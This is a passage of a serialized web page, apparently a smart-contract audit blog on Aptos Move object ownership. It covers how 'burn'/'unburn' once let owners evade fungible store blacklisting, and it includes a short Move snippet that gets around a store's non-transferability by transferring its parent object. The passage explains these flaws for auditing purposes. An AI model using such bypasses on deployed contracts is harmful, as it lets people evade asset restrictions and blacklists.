,65620,65624,65628,65632,65637,65641,65646],{"type":24,"tag":90,"props":65587,"children":65588},{"style":108},[65589],{"type":29,"value":64170},{"type":24,"tag":90,"props":65591,"children":65592},{"style":114},[65593],{"type":29,"value":65594},"(object",{"type":24,"tag":90,"props":65596,"children":65597},{"style":120},[65598],{"type":29,"value":1211},{"type":24,"tag":90,"props":65600,"children":65601},{"style":108},[65602],{"type":29,"value":65603},"owns",{"type":24,"tag":90,"props":65605,"children":65606},{"style":114},[65607],{"type":29,"value":117},{"type":24,"tag":90,"props":65609,"children":65610},{"style":136},[65611],{"type":29,"value":8326},{"type":24,"tag":90,"props":65613,"children":65614},{"style":114},[65615],{"type":29,"value":15301},{"type":24,"tag":90,"props":65617,"children":65618},{"style":120},[65619],{"type":29,"value":1211},{"type":24,"tag":90,"props":65621,"children":65622},{"style":108},[65623],{"type":29,"value":9591},{"type":24,"tag":90,"props":65625,"children":65626},{"style":114},[65627],{"type":29,"value":117},{"type":24,"tag":90,"props":65629,"children":65630},{"style":136},[65631],{"type":29,"value":2116},{"type":24,"tag":90,"props":65633,"children":65634},{"style":114},[65635],{"type":29,"value":65636},")), error",{"type":24,"tag":90,"props":65638,"children":65639},{"style":120},[65640],{"type":29,"value":1211},{"type":24,"tag":90,"props":65642,"children":65643},{"style":108},[65644],{"type":29,"value":65645},"permission_denied",{"type":24,"tag":90,"props":65647,"children":65648},{"style":114},[65649],{"type":29,"value":65650},"(ENOT_STORE_OWNER));\n",{"type":24,"tag":90,"props":65652,"children":65653},{"class":92,"line":281},[65654,65658,65662],{"type":24,"tag":90,"props":65655,"children":65656},{"style":114},[65657],{"type":29,"value":64544},{"type":24,"tag":90,"props":65659,"children":65660},{"style":120},[65661],{"type":29,"value":3013},{"type":24,"tag":90,"props":65663,"children":65664},{"style":114},[65665],{"type":29,"value":14141},{"type":24,"tag":90,"props":65667,"children":65668},{"class":92,"line":384},[65669],{"type":24,"tag":90,"props":65670,"children":65671},{"style":114},[65672],{"type":29,"value":827},{"type":24,"tag":25,"props":65674,"children":65675},{},[65676,65678,65683,65685,65691,65693,65699],{"type":29,"value":65677},"The thing to note is that defining ownership with ",{"type":24,"tag":32,"props":65679,"children":65681},{"className":65680},[],[65682],{"type":29,"value":65420},{"type":29,"value":65684}," can be tricky. The ",{"type":24,"tag":32,"props":65686,"children":65688},{"className":65687},[],[65689],{"type":29,"value":65690},"burn",{"type":29,"value":65692}," function was one of the reasons behind that. It allowed changing the object's owner to the ",{"type":24,"tag":32,"props":65694,"children":65696},{"className":65695},[],[65697],{"type":29,"value":65698},"BURN_ADDRESS",{"type":29,"value":65700}," while bypassing transfer restrictions:",{"type":24,"tag":80,"props":65702,"children":65704},{"className":82,"code":65703,"language":84,"meta":7,"style":7},"public entry fun burn\u003CT: key>(owner: &signer, object: Object\u003CT>) acquires ObjectCore {\n let original_owner = signer::address_of(owner);\n assert!(is_owner(object, original_owner), error::permission_denied(ENOT_OBJECT_OWNER));\n let object_addr = object.inner;\n move_to(&create_signer(object_addr), TombStone { original_owner });\n transfer_raw_inner(object_addr, BURN_ADDRESS);\n}\n",[65705],{"type":24,"tag":32,"props":65706,"children":65707},{"__ignoreMap":7},[65708,65805,65846,65896,65925,65975,65996],{"type":24,"tag":90,"props":65709,"children":65710},{"class":92,"line":93},[65711,65715,65719,65723,65728,65732,65736,65740,65744,65748,65752,65756,65760,65764,65768,65772,65776,65780,65784,65788,65792,65796,65801],{"type":24,"tag":90,"props":65712,"children":65713},{"style":136},[65714],{"type":29,"value":63501},{"type":24,"tag":90,"props":65716,"children":65717},{"style":136},[65718],{"type":29,"value":64468},{"type":24,"tag":90,"props":65720,"children":65721},{"style":136},[65722],{"type":29,"value":8592},{"type":24,"tag":90,"props":65724,"children":65725},{"style":136},[65726],{"type":29,"value":65727}," burn",{"type":24,"tag":90,"props":65729,"children":65730},{"style":114},[65731],{"type":29,"value":1575},{"type":24,"tag":90,"props":65733,"children":65734},{"style":146},[65735],{"type":29,"value":1960},{"type":24,"tag":90,"props":65737,"children":65738},{"style":120},[65739],{"type":29,"value":78},{"type":24,"tag":90,"props":65741,"children":65742},{"style":136},[65743],{"type":29,"value":8317},{"type":24,"tag":90,"props":65745,"children":65746},{"style":114},[65747],{"type":29,"value":9992},{"type":24,"tag":90,"props":65749,"children":65750},{"style":136},[65751],{"type":29,"value":2116},{"type":24,"tag":90,"props":65753,"children":65754},{"style":120},[65755],{"type":29,"value":78},{"type":24,"tag":90,"props":65757,"children":65758},{"style":120},[65759],{"type":29,"value":455},{"type":24,"tag":90,"props":65761,"children":65762},{"style":136},[65763],{"type":29,"value":9528},{"type":24,"tag":90,"props":65765,"children":65766},{"style":114},[65767],{"type":29,"value":133},{"type":24,"tag":90,"props":65769,"children":65770},{"style":136},[65771],{"type":29,"value":64736},{"type":24,"tag":90,"props":65773,"children":65774},{"style":120},[65775],{"type":29,"value":78},{"type":24,"tag":90,"props":65777,"children":65778},{"style":146},[65779],{"type":29,"value":63387},{"type":24,"tag":90,"props":65781,"children":65782},{"style":114},[65783],{"type":29,"value":1575},{"type":24,"tag":90,"props":65785,"children":65786},{"style":146},[65787],{"type":29,"value":1960},{"type":24,"tag":90,"props":65789,"children":65790},{"style":114},[65791],{"type":29,"value":22242},{"type":24,"tag":90,"props":65793,"children":65794},{"style":136},[65795],{"type":29,"value":8729},{"type":24,"tag":90,"props":65797,"children":65798},{"style":146},[65799],{"type":29,"value":65800}," ObjectCore",{"type":24,"tag":90,"props":65802,"children":65803},{"style":114},[65804],{"type":29,"value":269},{"type":24,"tag":90,"props":65806,"children":65807},{"class":92,"line":200},[65808,65812,65817,65821,65826,65830,65834,65838,65842],{"type":24,"tag":90,"props":65809,"children":65810},{"style":97},[65811],{"type":29,"value":206},{"type":24,"tag":90,"props":65813,"children":65814},{"style":136},[65815],{"type":29,"value":65816}," original_owner",{"type":24,"tag":90,"props":65818,"children":65819},{"style":120},[65820],{"type":29,"value":216},{"type":24,"tag":90,"props":65822,"children":65823},{"style":114},[65824],{"type":29,"value":65825}," signer",{"type":24,"tag":90,"props":65827,"children":65828},{"style":120},[65829],{"type":29,"value":1211},{"type":24,"tag":90,"props":65831,"children":65832},{"style":108},[65833],{"type":29,"value":9591},{"type":24,"tag":90,"props":65835,"children":65836},{"style":114},[65837],{"type":29,"value":117},{"type":24,"tag":90,"props":65839,"children":65840},{"style":136},[65841],{"type":29,"value":2116},{"type":24,"tag":90,"props":65843,"children":65844},{"style":114},[65845],{"type":29,"value":571},{"type":24,"tag":90,"props":65847,"children":65848},{"class":92,"line":239},[65849,65853,65857,65862,65866,65870,65874,65879,65883,65887,65891],{"type":24,"tag":90,"props":65850,"children":65851},{"style":108},[65852],{"type":29,"value":64170},{"type":24,"tag":90,"props":65854,"children":65855},{"style":114},[65856],{"type":29,"value":117},{"type":24,"tag":90,"props":65858,"children":65859},{"style":108},[65860],{"type":29,"value":65861},"is_owner",{"type":24,"tag":90,"props":65863,"children":65864},{"style":114},[65865],{"type":29,"value":117},{"type":24,"tag":90,"props":65867,"children":65868},{"style":136},[65869],{"type":29,"value":64736},{"type":24,"tag":90,"props":65871,"children":65872},{"style":114},[65873],{"type":29,"value":133},{"type":24,"tag":90,"props":65875,"children":65876},{"style":136},[65877],{"type":29,"value":65878},"original_owner",{"type":24,"tag":90,"props":65880,"children":65881},{"style":114},[65882],{"type":29,"value":64759},{"type":24,"tag":90,"props":65884,"children":65885},{"style":120},[65886],{"type":29,"value":1211},{"type":24,"tag":90,"props":65888,"children":65889},{"style":108},[65890],{"type":29,"value":65645},{"type":24,"tag":90,"props":65892,"children":65893},{"style":114},[65894],{"type":29,"value":65895},"(ENOT_OBJECT_OWNER));\n",{"type":24,"tag":90,"props":65897,"children":65898},{"class":92,"line":248},[65899,65903,65908,65912,65916,65920],{"type":24,"tag":90,"props":65900,"children":65901},{"style":97},[65902],{"type":29,"value":206},{"type":24,"tag":90,"props":65904,"children":65905},{"style":136},[65906],{"type":29,"value":65907}," object_addr",{"type":24,"tag":90,"props":65909,"children":65910},{"style":120},[65911],{"type":29,"value":216},{"type":24,"tag":90,"props":65913,"children":65914},{"style":136},[65915],{"type":29,"value":64320},{"type":24,"tag":90,"props":65917,"children":65918},{"style":120},[65919],{"type":29,"value":226},{"type":24,"tag":90,"props":65921,"children":65922},{"style":114},[65923],{"type":29,"value":65924},"inner;\n",{"type":24,"tag":90,"props":65926,"children":65927},{"class":92,"line":258},[65928,65932,65936,65940,65945,65949,65954,65958,65963,65967,65971],{"type":24,"tag":90,"props":65929,"children":65930},{"style":108},[65931],{"type":29,"value":64923},{"type":24,"tag":90,"props":65933,"children":65934},{"style":114},[65935],{"type":29,"value":117},{"type":24,"tag":90,"props":65937,"children":65938},{"style":120},[65939],{"type":29,"value":123},{"type":24,"tag":90,"props":65941,"children":65942},{"style":108},[65943],{"type":29,"value":65944},"create_signer",{"type":24,"tag":90,"props":65946,"children":65947},{"style":114},[65948],{"type":29,"value":117},{"type":24,"tag":90,"props":65950,"children":65951},{"style":136},[65952],{"type":29,"value":65953},"object_addr",{"type":24,"tag":90,"props":65955,"children":65956},{"style":114},[65957],{"type":29,"value":1677},{"type":24,"tag":90,"props":65959,"children":65960},{"style":146},[65961],{"type":29,"value":65962},"TombStone",{"type":24,"tag":90,"props":65964,"children":65965},{"style":114},[65966],{"type":29,"value":1196},{"type":24,"tag":90,"props":65968,"children":65969},{"style":136},[65970],{"type":29,"value":65878},{"type":24,"tag":90,"props":65972,"children":65973},{"style":114},[65974],{"type":29,"value":40651},{"type":24,"tag":90,"props":65976,"children":65977},{"class":92,"line":272},[65978,65983,65987,65991],{"type":24,"tag":90,"props":65979,"children":65980},{"style":108},[65981],{"type":29,"value":65982}," transfer_raw_inner",{"type":24,"tag":90,"props":65984,"children":65985},{"style":114},[65986],{"type":29,"value":117},{"type":24,"tag":90,"props":65988,"children":65989},{"style":136},[65990],{"type":29,"value":65953},{"type":24,"tag":90,"props":65992,"children":65993},{"style":114},[65994],{"type":29,"value":65995},", BURN_ADDRESS);\n",{"type":24,"tag":90,"props":65997,"children":65998},{"class":92,"line":281},[65999],{"type":24,"tag":90,"props":66000,"children":66001},{"style":114},[66002],{"type":29,"value":827},{"type":24,"tag":25,"props":66004,"children":66005},{},[66006,66012,66014,66019,66020,66027,66029,66034],{"type":24,"tag":32,"props":66007,"children":66009},{"className":66008},[],[66010],{"type":29,"value":66011},"unburn",{"type":29,"value":66013}," is a way to restore the previous object owner. In a past audit, this mechanism could be exploited to bypass fungible store owner blacklisting by temporarily setting ownership to the unblacklisted ",{"type":24,"tag":32,"props":66015,"children":66017},{"className":66016},[],[66018],{"type":29,"value":65698},{"type":29,"value":5057},{"type":24,"tag":69,"props":66021,"children":66024},{"href":66022,"rel":66023},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-99.md",[73],[66025],{"type":29,"value":66026},"AIP-99",{"type":29,"value":66028}," is a proposal to roll back the ",{"type":24,"tag":32,"props":66030,"children":66032},{"className":66031},[],[66033],{"type":29,"value":65690},{"type":29,"value":66035}," feature, but previously burned objects will remain restorable.",{"type":24,"tag":5339,"props":66037,"children":66038},{},[66039],{"type":24,"tag":25,"props":66040,"children":66041},{},[66042,66044,66048],{"type":29,"value":66043},"This ",{"type":24,"tag":90,"props":66045,"children":66046},{},[66047],{"type":29,"value":66026},{"type":29,"value":66049}," seeks to disable safe object burn, as it caused extra complexity, and sometimes unexpected consequences. As a result of this AIP, users will still be able to unburn their burnt objects, but will not be able to burn any new objects.",{"type":24,"tag":25,"props":66051,"children":66052},{},[66053,66055,66061,66063,66068,66070,66075],{"type":29,"value":66054},"Another important thing is that ",{"type":24,"tag":32,"props":66056,"children":66058},{"className":66057},[],[66059],{"type":29,"value":66060},"fungible_asset::set_untransferable",{"type":29,"value":66062}," can be used to make all new ",{"type":24,"tag":32,"props":66064,"children":66066},{"className":66065},[],[66067],{"type":29,"value":64406},{"type":29,"value":66069}," for this asset untransferable, preventing ownership changes. However, this restriction doesn't apply to the parent object, allowing a transferable parent to be moved even if it owns a non-transferable ",{"type":24,"tag":32,"props":66071,"children":66073},{"className":66072},[],[66074],{"type":29,"value":63902},{"type":29,"value":226},{"type":24,"tag":25,"props":66077,"children":66078},{},[66079,66081,66086,66088,66094,66096,66101,66103,66108],{"type":29,"value":66080},"Do we need to care about this case? We do, because ownership is transitive. If entity X owns an object that owns a ",{"type":24,"tag":32,"props":66082,"children":66084},{"className":66083},[],[66085],{"type":29,"value":63902},{"type":29,"value":66087},", X can withdraw from that store. This is because ",{"type":24,"tag":32,"props":66089,"children":66091},{"className":66090},[],[66092],{"type":29,"value":66093},"fungible_asset::withdraw",{"type":29,"value":66095}," uses ",{"type":24,"tag":32,"props":66097,"children":66099},{"className":66098},[],[66100],{"type":29,"value":65420},{"type":29,"value":66102}," to verify both direct and indirect ownership of the ",{"type":24,"tag":32,"props":66104,"children":66106},{"className":66105},[],[66107],{"type":29,"value":63902},{"type":29,"value":52000},{"type":24,"tag":80,"props":66110,"children":66112},{"className":82,"code":66111,"language":84,"meta":7,"style":7},"fun verify_ungated_and_descendant(owner: address, destination: address) acquires ObjectCore {\n [...]\n while (owner != current_address) {\n count = count + 1;\n [...]\n assert!(\n exists\u003CObjectCore>(current_address),\n error::permission_denied(ENOT_OBJECT_OWNER),\n );\n let object = borrow_global\u003CObjectCore>(current_address);\n current_address = object.owner;\n };\n}\n",[66113],{"type":24,"tag":32,"props":66114,"children":66115},{"__ignoreMap":7},[66116,66177,66193,66223,66252,66267,66279,66309,66330,66337,66377,66402,66409],{"type":24,"tag":90,"props":66117,"children":66118},{"class":92,"line":93},[66119,66123,66128,66132,66136,66140,66144,66148,66153,66157,66161,66165,66169,66173],{"type":24,"tag":90,"props":66120,"children":66121},{"style":136},[66122],{"type":29,"value":3203},{"type":24,"tag":90,"props":66124,"children":66125},{"style":108},[66126],{"type":29,"value":66127}," verify_ungated_and_descendant",{"type":24,"tag":90,"props":66129,"children":66130},{"style":114},[66131],{"type":29,"value":117},{"type":24,"tag":90,"props":66133,"children":66134},{"style":136},[66135],{"type":29,"value":2116},{"type":24,"tag":90,"props":66137,"children":66138},{"style":120},[66139],{"type":29,"value":78},{"type":24,"tag":90,"props":66141,"children":66142},{"style":136},[66143],{"type":29,"value":8635},{"type":24,"tag":90,"props":66145,"children":66146},{"style":114},[66147],{"type":29,"value":133},{"type":24,"tag":90,"props":66149,"children":66150},{"style":136},[66151],{"type":29,"value":66152},"destination",{"type":24,"tag":90,"props":66154,"children":66155},{"style":120},[66156],{"type":29,"value":78},{"type":24,"tag":90,"props":66158,"children":66159},{"style":136},[66160],{"type":29,"value":8635},{"type":24,"tag":90,"props":66162,"children":66163},{"style":114},[66164],{"type":29,"value":172},{"type":24,"tag":90,"props":66166,"children":66167},{"style":136},[66168],{"type":29,"value":8729},{"type":24,"tag":90,"props":66170,"children":66171},{"style":146},[66172],{"type":29,"value":65800},{"type":24,"tag":90,"props":66174,"children":66175},{"style":114},[66176],{"type":29,"value":269},{"type":24,"tag":90,"props":66178,"children":66179},{"class":92,"line":200},[66180,66185,66189],{"type":24,"tag":90,"props":66181,"children":66182},{"style":114},[66183],{"type":29,"value":66184}," [",{"type":24,"tag":90,"props":66186,"children":66187},{"style":120},[66188],{"type":29,"value":3013},{"type":24,"tag":90,"props":66190,"children":66191},{"style":114},[66192],{"type":29,"value":14141},{"type":24,"tag":90,"props":66194,"children":66195},{"class":92,"line":239},[66196,66201,66205,66209,66214,66219],{"type":24,"tag":90,"props":66197,"children":66198},{"style":636},[66199],{"type":29,"value":66200}," while",{"type":24,"tag":90,"props":66202,"children":66203},{"style":114},[66204],{"type":29,"value":1151},{"type":24,"tag":90,"props":66206,"children":66207},{"style":136},[66208],{"type":29,"value":2116},{"type":24,"tag":90,"props":66210,"children":66211},{"style":120},[66212],{"type":29,"value":66213}," !=",{"type":24,"tag":90,"props":66215,"children":66216},{"style":136},[66217],{"type":29,"value":66218}," current_address",{"type":24,"tag":90,"props":66220,"children":66221},{"style":114},[66222],{"type":29,"value":1297},{"type":24,"tag":90,"props":66224,"children":66225},{"class":92,"line":248},[66226,66231,66235,66240,66244,66248],{"type":24,"tag":90,"props":66227,"children":66228},{"style":136},[66229],{"type":29,"value":66230}," count",{"type":24,"tag":90,"props":66232,"children":66233},{"style":120},[66234],{"type":29,"value":216},{"type":24,"tag":90,"props":66236,"children":66237},{"style":136},[66238],{"type":29,"value":66239}," count",{"type":24,"tag":90,"props":66241,"children":66242},{"style":120},[66243],{"type":29,"value":1714},{"type":24,"tag":90,"props":66245,"children":66246},{"style":349},[66247],{"type":29,"value":6909},{"type":24,"tag":90,"props":66249,"children":66250},{"style":114},[66251],{"type":29,"value":381},{"type":24,"tag":90,"props":66253,"children":66254},{"class":92,"line":258},[66255,66259,66263],{"type":24,"tag":90,"props":66256,"children":66257},{"style":114},[66258],{"type":29,"value":66184},{"type":24,"tag":90,"props":66260,"children":66261},{"style":120},[66262],{"type":29,"value":3013},{"type":24,"tag":90,"props":66264,"children":66265},{"style":114},[66266],{"type":29,"value":14141},{"type":24,"tag":90,"props":66268,"children":66269},{"class":92,"line":272},[66270,66275],{"type":24,"tag":90,"props":66271,"children":66272},{"style":108},[66273],{"type":29,"value":66274}," assert!",{"type":24,"tag":90,"props":66276,"children":66277},{"style":114},[66278],{"type":29,"value":680},{"type":24,"tag":90,"props":66280,"children":66281},{"class":92,"line":281},[66282,66287,66291,66296,66300,66305],{"type":24,"tag":90,"props":66283,"children":66284},{"style":136},[66285],{"type":29,"value":66286}," exists",{"type":24,"tag":90,"props":66288,"children":66289},{"style":114},[66290],{"type":29,"value":1575},{"type":24,"tag":90,"props":66292,"children":66293},{"style":146},[66294],{"type":29,"value":66295},"ObjectCore",{"type":24,"tag":90,"props":66297,"children":66298},{"style":114},[66299],{"type":29,"value":9992},{"type":24,"tag":90,"props":66301,"children":66302},{"style":136},[66303],{"type":29,"value":66304},"current_address",{"type":24,"tag":90,"props":66306,"children":66307},{"style":114},[66308],{"type":29,"value":779},{"type":24,"tag":90,"props":66310,"children":66311},{"class":92,"line":384},[66312,66317,66321,66325],{"type":24,"tag":90,"props":66313,"children":66314},{"style":114},[66315],{"type":29,"value":66316}," error",{"type":24,"tag":90,"props":66318,"children":66319},{"style":120},[66320],{"type":29,"value":1211},{"type":24,"tag":90,"props":66322,"children":66323},{"style":108},[66324],{"type":29,"value":65645},{"type":24,"tag":90,"props":66326,"children":66327},{"style":114},[66328],{"type":29,"value":66329},"(ENOT_OBJECT_OWNER),\n",{"type":24,"tag":90,"props":66331,"children":66332},{"class":92,"line":420},[66333],{"type":24,"tag":90,"props":66334,"children":66335},{"style":114},[66336],{"type":29,"value":788},{"type":24,"tag":90,"props":66338,"children":66339},{"class":92,"line":428},[66340,66344,66348,66352,66357,66361,66365,66369,66373],{"type":24,"tag":90,"props":66341,"children":66342},{"style":97},[66343],{"type":29,"value":287},{"type":24,"tag":90,"props":66345,"children":66346},{"style":136},[66347],{"type":29,"value":64320},{"type":24,"tag":90,"props":66349,"children":66350},{"style":120},[66351],{"type":29,"value":216},{"type":24,"tag":90,"props":66353,"children":66354},{"style":136},[66355],{"type":29,"value":66356}," borrow_global",{"type":24,"tag":90,"props":66358,"children":66359},{"style":114},[66360],{"type":29,"value":1575},{"type":24,"tag":90,"props":66362,"children":66363},{"style":146},[66364],{"type":29,"value":66295},{"type":24,"tag":90,"props":66366,"children":66367},{"style":114},[66368],{"type":29,"value":9992},{"type":24,"tag":90,"props":66370,"children":66371},{"style":136},[66372],{"type":29,"value":66304},{"type":24,"tag":90,"props":66374,"children":66375},{"style":114},[66376],{"type":29,"value":571},{"type":24,"tag":90,"props":66378,"children":66379},{"class":92,"line":437},[66380,66385,66389,66393,66397],{"type":24,"tag":90,"props":66381,"children":66382},{"style":136},[66383],{"type":29,"value":66384}," current_address",{"type":24,"tag":90,"props":66386,"children":66387},{"style":120},[66388],{"type":29,"value":216},{"type":24,"tag":90,"props":66390,"children":66391},{"style":136},[66392],{"type":29,"value":64320},{"type":24,"tag":90,"props":66394,"children":66395},{"style":120},[66396],{"type":29,"value":226},{"type":24,"tag":90,"props":66398,"children":66399},{"style":114},[66400],{"type":29,"value":66401},"owner;\n",{"type":24,"tag":90,"props":66403,"children":66404},{"class":92,"line":574},[66405],{"type":24,"tag":90,"props":66406,"children":66407},{"style":114},[66408],{"type":29,"value":40813},{"type":24,"tag":90,"props":66410,"children":66411},{"class":92,"line":606},[66412],{"type":24,"tag":90,"props":66413,"children":66414},{"style":114},[66415],{"type":29,"value":827},{"type":24,"tag":25,"props":66417,"children":66418},{},[66419,66421,66426],{"type":29,"value":66420},"This could allow for bypassing assumptions about ",{"type":24,"tag":32,"props":66422,"children":66424},{"className":66423},[],[66425],{"type":29,"value":63902},{"type":29,"value":66427}," true ownership and its non-transferability.",{"type":24,"tag":80,"props":66429,"children":66431},{"className":82,"code":66430,"language":84,"meta":7,"style":7},"public fun untransferable_transfer(caller: &signer, receipient: address) {\n let constructor_ref = object::create_object(signer::address_of(caller));\n let object_addr = object::address_from_constructor_ref(&constructor_ref);\n let store = primary_fungible_store::ensure_primary_store_exists(object_addr, get_metadata());\n\n object::transfer_raw(caller, object_addr, receipient);\n //receipient can interact with store by using their signer\n}\n",[66432],{"type":24,"tag":32,"props":66433,"children":66434},{"__ignoreMap":7},[66435,66493,66546,66590,66638,66645,66690,66698],{"type":24,"tag":90,"props":66436,"children":66437},{"class":92,"line":93},[66438,66442,66446,66451,66455,66460,66464,66468,66472,66476,66481,66485,66489],{"type":24,"tag":90,"props":66439,"children":66440},{"style":136},[66441],{"type":29,"value":63501},{"type":24,"tag":90,"props":66443,"children":66444},{"style":136},[66445],{"type":29,"value":8592},{"type":24,"tag":90,"props":66447,"children":66448},{"style":108},[66449],{"type":29,"value":66450}," untransferable_transfer",{"type":24,"tag":90,"props":66452,"children":66453},{"style":114},[66454],{"type":29,"value":117},{"type":24,"tag":90,"props":66456,"children":66457},{"style":136},[66458],{"type":29,"value":66459},"caller",{"type":24,"tag":90,"props":66461,"children":66462},{"style":120},[66463],{"type":29,"value":78},{"type":24,"tag":90,"props":66465,"children":66466},{"style":120},[66467],{"type":29,"value":455},{"type":24,"tag":90,"props":66469,"children":66470},{"style":136},[66471],{"type":29,"value":9528},{"type":24,"tag":90,"props":66473,"children":66474},{"style":114},[66475],{"type":29,"value":133},{"type":24,"tag":90,"props":66477,"children":66478},{"style":136},[66479],{"type":29,"value":66480},"receipient",{"type":24,"tag":90,"props":66482,"children":66483},{"style":120},[66484],{"type":29,"value":78},{"type":24,"tag":90,"props":66486,"children":66487},{"style":136},[66488],{"type":29,"value":8635},{"type":24,"tag":90,"props":66490,"children":66491},{"style":114},[66492],{"type":29,"value":1297},{"type":24,"tag":90,"props":66494,"children":66495},{"class":92,"line":200},[66496,66500,66505,66509,66513,66517,66522,66526,66530,66534,66538,66542],{"type":24,"tag":90,"props":66497,"children":66498},{"style":97},[66499],{"type":29,"value":206},{"type":24,"tag":90,"props":66501,"children":66502},{"style":136},[66503],{"type":29,"value":66504}," constructor_ref",{"type":24,"tag":90,"props":66506,"children":66507},{"style":120},[66508],{"type":29,"value":216},{"type":24,"tag":90,"props":66510,"children":66511},{"style":114},[66512],{"type":29,"value":64320},{"type":24,"tag":90,"props":66514,"children":66515},{"style":120},[66516],{"type":29,"value":1211},{"type":24,"tag":90,"props":66518,"children":66519},{"style":108},[66520],{"type":29,"value":66521},"create_object",{"type":24,"tag":90,"props":66523,"children":66524},{"style":114},[66525],{"type":29,"value":9582},{"type":24,"tag":90,"props":66527,"children":66528},{"style":120},[66529],{"type":29,"value":1211},{"type":24,"tag":90,"props":66531,"children":66532},{"style":108},[66533],{"type":29,"value":9591},{"type":24,"tag":90,"props":66535,"children":66536},{"style":114},[66537],{"type":29,"value":117},{"type":24,"tag":90,"props":66539,"children":66540},{"style":136},[66541],{"type":29,"value":66459},{"type":24,"tag":90,"props":66543,"children":66544},{"style":114},[66545],{"type":29,"value":9605},{"type":24,"tag":90,"props":66547,"children":66548},{"class":92,"line":239},[66549,66553,66557,66561,66565,66569,66574,66578,66582,66586],{"type":24,"tag":90,"props":66550,"children":66551},{"style":97},[66552],{"type":29,"value":206},{"type":24,"tag":90,"props":66554,"children":66555},{"style":136},[66556],{"type":29,"value":65907},{"type":24,"tag":90,"props":66558,"children":66559},{"style":120},[66560],{"type":29,"value":216},{"type":24,"tag":90,"props":66562,"children":66563},{"style":114},[66564],{"type":29,"value":64320},{"type":24,"tag":90,"props":66566,"children":66567},{"style":120},[66568],{"type":29,"value":1211},{"type":24,"tag":90,"props":66570,"children":66571},{"style":108},[66572],{"type":29,"value":66573},"address_from_constructor_ref",{"type":24,"tag":90,"props":66575,"children":66576},{"style":114},[66577],{"type":29,"value":117},{"type":24,"tag":90,"props":66579,"children":66580},{"style":120},[66581],{"type":29,"value":123},{"type":24,"tag":90,"props":66583,"children":66584},{"style":136},[66585],{"type":29,"value":64754},{"type":24,"tag":90,"props":66587,"children":66588},{"style":114},[66589],{"type":29,"value":571},{"type":24,"tag":90,"props":66591,"children":66592},{"class":92,"line":248},[66593,66597,66601,66605,66610,66614,66618,66622,66626,66630,66634],{"type":24,"tag":90,"props":66594,"children":66595},{"style":97},[66596],{"type":29,"value":206},{"type":24,"tag":90,"props":66598,"children":66599},{"style":136},[66600],{"type":29,"value":8217},{"type":24,"tag":90,"props":66602,"children":66603},{"style":120},[66604],{"type":29,"value":216},{"type":24,"tag":90,"props":66606,"children":66607},{"style":114},[66608],{"type":29,"value":66609}," primary_fungible_store",{"type":24,"tag":90,"props":66611,"children":66612},{"style":120},[66613],{"type":29,"value":1211},{"type":24,"tag":90,"props":66615,"children":66616},{"style":108},[66617],{"type":29,"value":64646},{"type":24,"tag":90,"props":66619,"children":66620},{"style":114},[66621],{"type":29,"value":117},{"type":24,"tag":90,"props":66623,"children":66624},{"style":136},[66625],{"type":29,"value":65953},{"type":24,"tag":90,"props":66627,"children":66628},{"style":114},[66629],{"type":29,"value":133},{"type":24,"tag":90,"props":66631,"children":66632},{"style":108},[66633],{"type":29,"value":64602},{"type":24,"tag":90,"props":66635,"children":66636},{"style":114},[66637],{"type":29,"value":1928},{"type":24,"tag":90,"props":66639,"children":66640},{"class":92,"line":258},[66641],{"type":24,"tag":90,"props":66642,"children":66643},{"emptyLinePlaceholder":16},[66644],{"type":29,"value":245},{"type":24,"tag":90,"props":66646,"children":66647},{"class":92,"line":272},[66648,66653,66657,66662,66666,66670,66674,66678,66682,66686],{"type":24,"tag":90,"props":66649,"children":66650},{"style":114},[66651],{"type":29,"value":66652}," object",{"type":24,"tag":90,"props":66654,"children":66655},{"style":120},[66656],{"type":29,"value":1211},{"type":24,"tag":90,"props":66658,"children":66659},{"style":108},[66660],{"type":29,"value":66661},"transfer_raw",{"type":24,"tag":90,"props":66663,"children":66664},{"style":114},[66665],{"type":29,"value":117},{"type":24,"tag":90,"props":66667,"children":66668},{"style":136},[66669],{"type":29,"value":66459},{"type":24,"tag":90,"props":66671,"children":66672},{"style":114},[66673],{"type":29,"value":133},{"type":24,"tag":90,"props":66675,"children":66676},{"style":136},[66677],{"type":29,"value":65953},{"type":24,"tag":90,"props":66679,"children":66680},{"style":114},[66681],{"type":29,"value":133},{"type":24,"tag":90,"props":66683,"children":66684},{"style":136},[66685],{"type":29,"value":66480},{"type":24,"tag":90,"props":66687,"children":66688},{"style":114},[66689],{"type":29,"value":571},{"type":24,"tag":90,"props":66691,"children":66692},{"class":92,"line":281},[66693],{"type":24,"tag":90,"props":66694,"children":66695},{"style":252},[66696],{"type":29,"value":66697}," //receipient can interact with store by using their signer\n",{"type":24,"tag":90,"props":66699,"children":66700},{"class":92,"line":384},[66701],{"type":24,"tag":90,"props":66702,"children":66703},{"style":114},[66704],{"type":29,"value":827},{"type":24,"tag":25,"props":66706,"children":66707},{},[66708,66710,66717],{"type":29,"value":66709},"The ownership transfer issue also showed up during our review of the fungible asset standard, where we identified an interesting ",{"type":24,"tag":69,"props":66711,"children":66714},{"href":66712,"rel":66713},"https://github.com/aptos-labs/aptos-core/commit/e8c5e4bd03930d25f0dbec9529680fac36eb2fa6",[73],[66715],{"type":29,"value":66716},"edge case",{"type":29,"value":66718}," involving the transfer of a non-transferable fungible store.",{"type":24,"tag":80,"props":66720,"children":66722},{"className":82,"code":66721,"language":84,"meta":7,"style":7},"public fun transfer_with_ref(ref: LinearTransferRef, to: address) acquires ObjectCore {\n assert!(!exists\u003CUntransferable>(ref.self), error::permission_denied(ENOT_MOVABLE));\n let object = borrow_global_mut\u003CObjectCore>(ref.self);\n assert!(\n object.owner == ref.owner,\n error::permission_denied(ENOT_OBJECT_OWNER),\n );\n \n [...]\n \n object.owner = to;\n}\n",[66723],{"type":24,"tag":32,"props":66724,"children":66725},{"__ignoreMap":7},[66726,66791,66852,66899,66910,66945,66965,66972,66979,66994,67001,67029],{"type":24,"tag":90,"props":66727,"children":66728},{"class":92,"line":93},[66729,66733,66737,66742,66746,66750,66754,66759,66763,66767,66771,66775,66779,66783,66787],{"type":24,"tag":90,"props":66730,"children":66731},{"style":136},[66732],{"type":29,"value":63501},{"type":24,"tag":90,"props":66734,"children":66735},{"style":136},[66736],{"type":29,"value":8592},{"type":24,"tag":90,"props":66738,"children":66739},{"style":108},[66740],{"type":29,"value":66741}," 